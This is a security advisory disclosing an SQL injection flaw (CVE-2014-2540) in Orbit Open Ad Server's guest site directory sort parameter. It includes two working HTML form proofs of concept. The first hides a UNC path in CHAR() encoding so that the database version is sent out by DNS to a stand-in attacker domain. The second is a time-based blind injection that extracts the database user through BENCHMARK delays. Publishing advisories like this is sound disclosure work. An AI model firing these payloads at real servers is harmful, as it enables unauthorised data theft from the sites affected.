Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open 
Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL 
requests to database of vulnerable application and potentially gain control 
over the vulnerable website.

1) SQL Injection in Orbit Open Ad Server: CVE-2014-2540

Input passed via the "site_directory_sort_field" HTTP POST parameter to 
"/guest/site_directory" URL is not properly sanitised before being used in SQL 
query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL 
commands.

The PoC code below is based on DNS Exfiltration technique and may be used if 
the database of the vulnerable application is hosted on a Windows system. The 
PoC will send a DNS request demanding IP addess for `version()` (or any other 
sensetive output from the database) subdomain of ".attacker.com" (a domain 
name, DNS server of which is controlled by the attacker):


<form action="http://[host]/guest/site_directory"; method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
<input type="submit" id="btn">
</form>


The second PoC code works against any platform (UNIX/Windows) and uses blind 
SQL injection brute-force (dichotomy) technique to extract data from the 
database:


<form action="http://[host]/guest/site_directory"; method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(SELECT 
IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1, 
BENCHMARK(22000000,MD5(NOW()))))">
<input type="submit" id="btn">
</form>
